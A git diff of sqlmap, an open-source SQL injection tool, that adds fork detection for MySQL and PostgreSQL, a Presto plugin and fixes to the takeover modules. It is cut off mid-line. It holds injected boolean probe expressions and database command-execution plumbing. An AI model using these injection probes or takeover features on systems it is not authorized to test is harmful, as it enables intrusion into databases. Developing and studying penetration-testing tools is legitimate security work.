b/plugins/dbms/mysql/enumeration.py index ebaf32f3306..e3b76fb207f 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index f92485a2c67..ec1f2be6027 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -96,7 +96,7 @@ def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: - warnMsg = "the injection is on a GET parameter and the file " + warnMsg = "as the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 228ba311af3..301a41a48b2 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -17,6 +17,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.session import setDbms @@ -44,57 +45,64 @@ def _commentCheck(self): # Reference: https://dev.mysql.com/doc/relnotes/mysql/./en/ versions = ( - (32200, 32235), # MySQL 3.22 - (32300, 32359), # MySQL 3.23 - (40000, 40032), # MySQL 4.0 - (40100, 40131), # MySQL 4.1 - (50000, 50097), # MySQL 5.0 - (50100, 50174), # MySQL 5.1 - (50400, 50404), # MySQL 5.4 - (50500, 50562), # MySQL 5.5 - (50600, 50648), # MySQL 5.6 - (50700, 50730), # MySQL 5.7 - (60000, 60014), # MySQL 6.0 (80000, 80021), # MySQL 8.0 + (60000, 60014), # MySQL 6.0 + (50700, 50731), # MySQL 5.7 + (50600, 50649), # MySQL 5.6 + (50500, 50563), # MySQL 5.5 + (50400, 50404), # MySQL 5.4 + (50100, 50174), # MySQL 5.1 + (50000, 50097), # MySQL 5.0 + (40100, 40131), # MySQL 4.1 + (40000, 40032), # MySQL 4.0 + (32300, 32359), # MySQL 3.23 + (32200, 32235), # MySQL 3.22 ) - index = -1 - for i in xrange(len(versions)): - element = versions[i] - version = element[0] - version = getUnicode(version) - result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) + found = False + for candidate in versions: + result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1]=[RANDNUM2]*/" % candidate[0]) - if result: + if not result: + found = True break - else: - index += 1 - if index >= 0: - prevVer = None - - for version in xrange(versions[index][0], versions[index][1] + 1): + if found: + for version in xrange(candidate[1], candidate[0] - 1, -1): version = getUnicode(version) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) - if result: - if not prevVer: - prevVer = version - + if not result: if version[0] == "3": - midVer = prevVer[1:3] + midVer = version[1:3] else: - midVer = prevVer[2] + midVer = version[2] - trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) + trueVer = "%s.%s.%s" % (version[0], midVer, version[3:]) return trueVer - prevVer = version - return None def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'"): + fork = FORK.MARIADB + elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"): + fork = FORK.TIDB + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%drizzle%'"): + fork = FORK.DRIZZLE + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Percona%'"): + fork = FORK.PERCONA + elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ + fork = FORK.AURORA + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -110,12 +118,10 @@ def getFingerprint(self): value += "back-end DBMS: " actVer = Format.getDbms() - _ = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) - if _: - actVer += " (%s fork)" % _ - if not conf.extensiveFp: value += actVer + if fork: + value += " (%s fork)" % fork return value comVer = self._commentCheck() @@ -141,6 +147,9 @@ def getFingerprint(self): if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): @@ -175,15 +184,19 @@ def checkDbms(self): result = inject.checkBooleanExpression("SESSION_USER() LIKE USER()") + if not result: + # Note: MemSQL doesn't support SESSION_USER() + result = inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL") + + if result: + hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL) + if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False - if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None: - hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and "MariaDB" or "") - # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index 8d135c93ed6..52d1b2a80f3 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -26,6 +26,6 @@ def escaper(value): if all(_ < 128 for _ in getOrds(value)): return "0x%s" % getUnicode(binascii.hexlify(getBytes(value))) else: - return "CONVERT(0x%s USING utf8)" % getUnicode(binascii.hexlify(getBytes(value))) + return "CONVERT(0x%s USING utf8)" % getUnicode(binascii.hexlify(getBytes(value, "utf8"))) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index 73308010b42..12c73e9013e 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import distutils.version import os from lib.core.agent import agent @@ -37,13 +38,13 @@ def udfSetRemotePath(self): banVer = kb.bannerFp["dbmsVersion"] - if banVer >= "5.0.67": + if distutils.version.LooseVersion(banVer) >= distutils.version.LooseVersion("5.0.67"): if self.__plugindir is None: logger.info("retrieving MySQL plugin directory absolute path") self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir")) # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 - if self.__plugindir is None and banVer >= "5.1.19": + if self.__plugindir is None and distutils.version.LooseVersion(banVer) >= distutils.version.LooseVersion("5.1.19"): logger.info("retrieving MySQL base directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index 1188be56118..5828d1fc9c9 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 26085c751b1..106322633c3 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index ba3d1b1abda..b3420ba80a1 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index c5a42c9fbb4..2b3bcd46d6a 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 9dc7cb65492..3e471ca628a 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index afa75fc7e64..08851c5b382 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index 2c638e73562..7219e750040 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index c40c282217b..42d481e60fe 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index acd70b6b596..17ae00b270c 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index 4dcbdecc2b4..4a5c7521f0e 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index a12a8c5812f..8106405eccf 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 853d508819a..2d487cf9ab4 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,16 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import PGSQL_ALIASES @@ -22,6 +26,26 @@ def __init__(self): GenericFingerprint.__init__(self, DBMS.PGSQL) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"): + fork = FORK.COCKROACHDB + elif inject.checkBooleanExpression("VERSION() LIKE '%Redshift%'"): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version + fork = FORK.REDSHIFT + elif inject.checkBooleanExpression("VERSION() LIKE '%Greenplum%'"): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png + fork = FORK.GREENPLUM + elif inject.checkBooleanExpression("VERSION() LIKE '%Yellowbrick%'"): # Reference: https://www.yellowbrick.com/docs/3.3/ybd_sqlref/version.html + fork = FORK.YELLOWBRICK + elif inject.checkBooleanExpression("VERSION() LIKE '%EnterpriseDB%'"): # Reference: https://www.enterprisedb.com/edb-docs/d/edb-postgres-advanced-server/user-guides/user-guide/11/EDB_Postgres_Advanced_Server_Guide.1.087.html + fork = FORK.ENTERPRISEDB + elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ + fork = FORK.AURORA + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -38,6 +62,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += DBMS.PGSQL + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -56,6 +82,9 @@ def getFingerprint(self): if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): @@ -75,7 +104,8 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.PGSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("QUOTE_IDENT(NULL) IS NULL") + # NOTE: Vertica works too without the CONVERT_TO() + result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL") if result: infoMsg = "confirming %s" % DBMS.PGSQL @@ -99,7 +129,9 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) - if inject.checkBooleanExpression("SHA256(NULL) IS NULL"): + if inject.checkBooleanExpression("SINH(0)=0"): + Backend.setVersion(">= 12.0") + elif inject.checkBooleanExpression("SHA256(NULL) IS NULL"): Backend.setVersion(">= 11.0") elif inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"): Backend.setVersionList([">= 10.0", "< 11.0"]) diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index ec7fe6cca12..82fbb2ec9b4 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index e4454d17df2..946fe5e1ce4 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,17 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import distutils.version import os from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import decloakToTemp from lib.core.common import flattenValue +from lib.core.common import filterNone from lib.core.common import isListLike +from lib.core.common import isNoneValue from lib.core.common import isStackingAvailable from lib.core.common import randomStr from lib.core.data import kb @@ -48,9 +51,9 @@ def udfSetLocalPaths(self): banVer = kb.bannerFp["dbmsVersion"] - if banVer >= "10": + if distutils.version.LooseVersion(banVer) >= distutils.version.LooseVersion("10"): majorVer = banVer.split('.')[0] - elif banVer >= "8.2" and '.' in banVer: + elif distutils.version.LooseVersion(banVer) >= distutils.version.LooseVersion("8.2") and '.' in banVer: majorVer = '.'.join(banVer.split('.')[:2]) else: errMsg = "unsupported feature on versions of PostgreSQL before 8.2" @@ -105,7 +108,11 @@ def copyExecCmd(self, cmd): output = inject.getValue(query, resumeValue=False) if isListLike(output): - output = os.linesep.join(flattenValue(output)) + output = flattenValue(output) + output = filterNone(output) + + if not isNoneValue(output): + output = os.linesep.join(output) self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName inject.goStacked(self._cleanupCmd) diff --git a/plugins/dbms/presto/__init__.py b/plugins/dbms/presto/__init__.py new file mode 100644 index 00000000000..79328a34148 --- /dev/null +++ b/plugins/dbms/presto/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import PRESTO_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.presto.enumeration import Enumeration +from plugins.dbms.presto.filesystem import Filesystem +from plugins.dbms.presto.fingerprint import Fingerprint +from plugins.dbms.presto.syntax import Syntax +from plugins.dbms.presto.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class PrestoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Presto methods + """ + + def __init__(self): + self.excludeDbsList = PRESTO_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.PRESTO] = Syntax.escape diff --git a/plugins/dbms/presto/connector.py b/plugins/dbms/presto/connector.py new file mode 100644 index 00000000000..88f875e3c6b --- /dev/null +++ b/plugins/dbms/presto/connector.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import prestodb +except: + pass + +import logging +import struct + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/prestodb/presto-python-client + User guide: https://github.com/prestodb/presto-python-client/blob/master/README.md + API: https://www.python.org/dev/peps/pep-0249/ + PyPI package: presto-python-client + License: Apache License 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = prestodb.dbapi.connect(host=self.hostname, user=self.user, catalog=self.db, port=self.port, request_timeout=conf.timeout) + except (prestodb.exceptions.OperationalError, prestodb.exceptions.InternalError, prestodb.exceptions.ProgrammingError, struct.error) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except prestodb.exceptions.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except (prestodb.exceptions.OperationalError, prestodb.exceptions.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except prestodb.exceptions.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py new file mode 100644 index 00000000000..f9a8c7d7f6f --- /dev/null +++ b/plugins/dbms/presto/enumeration.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on Presto it is not possible to get the banner" + logger.warn(warnMsg) + + return None + + def getCurrentDb(self): + warnMsg = "on Presto it is not possible to get name of the current database (schema)" + logger.warn(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Presto it is not possible to test if current user is DBA" + logger.warn(warnMsg) + + def getUsers(self): + warnMsg = "on Presto it is not possible to enumerate the users" + logger.warn(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Presto it is not possible to enumerate the user password hashes" + logger.warn(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Presto it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Presto it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Presto it is not possible to enumerate the hostname" + logger.warn(warnMsg) + + def getStatements(self): + warnMsg = "on Presto it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/presto/filesystem.py b/plugins/dbms/presto/filesystem.py new file mode 100644 index 00000000000..5990632b16d --- /dev/null +++ b/plugins/dbms/presto/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Presto it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Presto it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py new file mode 100644 index 00000000000..416a4ef01ef --- /dev/null +++ b/plugins/dbms/presto/fingerprint.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import PRESTO_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.PRESTO) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.PRESTO + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(PRESTO_ALIASES): + setDbms(DBMS.PRESTO) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.PRESTO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TO_BASE64URL(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.PRESTO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TO_HEX(FROM_HEX(NULL)) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO + logger.warn(warnMsg) + + return False + + setDbms(DBMS.PRESTO) + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.PRESTO + logger.info(infoMsg) + + # Reference: https://prestodb.io/docs/current/release/release-0.200.html + if inject.checkBooleanExpression("FROM_IEEE754_32(NULL) IS NULL"): + Backend.setVersion(">= 0.200") + # Reference: https://prestodb.io/docs/current/release/release-0.193.html + elif inject.checkBooleanExpression("NORMAL_CDF(NULL,NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.193") + # Reference: https://prestodb.io/docs/current/release/release-0.183.html + elif inject.checkBooleanExpression("MAP_ENTRIES(NULL) IS NULL"): + Backend.setVersion(">= 0.183") + # Reference: https://prestodb.io/docs/current/release/release-0.171.html + elif inject.checkBooleanExpression("CODEPOINT(NULL) IS NULL"): + Backend.setVersion(">= 0.171") + # Reference: https://prestodb.io/docs/current/release/release-0.162.html + elif inject.checkBooleanExpression("XXHASH64(NULL) IS NULL"): + Backend.setVersion(">= 0.162") + # Reference: https://prestodb.io/docs/current/release/release-0.151.html + elif inject.checkBooleanExpression("COSINE_SIMILARITY(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.151") + # Reference: https://prestodb.io/docs/current/release/release-0.143.html + elif inject.checkBooleanExpression("TRUNCATE(NULL) IS NULL"): + Backend.setVersion(">= 0.143") + # Reference: https://prestodb.io/docs/current/release/release-0.137.html + elif inject.checkBooleanExpression("BIT_COUNT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.137") + # Reference: https://prestodb.io/docs/current/release/release-0.130.html + elif inject.checkBooleanExpression("MAP_CONCAT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.130") + # Reference: https://prestodb.io/docs/current/release/release-0.115.html + elif inject.checkBooleanExpression("SHA1(NULL) IS NULL"): + Backend.setVersion(">= 0.115") + # Reference: https://prestodb.io/docs/current/release/release-0.100.html + elif inject.checkBooleanExpression("SPLIT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.100") + # Reference: https://prestodb.io/docs/current/release/release-0.70.html + elif inject.checkBooleanExpression("GREATEST(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.70") + else: + Backend.setVersion("< 0.100") + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/presto/syntax.py b/plugins/dbms/presto/syntax.py new file mode 100644 index 00000000000..f59b9cb9c8d --- /dev/null +++ b/plugins/dbms/presto/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/presto/takeover.py b/plugins/dbms/presto/takeover.py new file mode 100644 index 00000000000..02ee04885ff --- /dev/null +++ b/plugins/dbms/presto/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Presto it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Presto it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Presto it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg 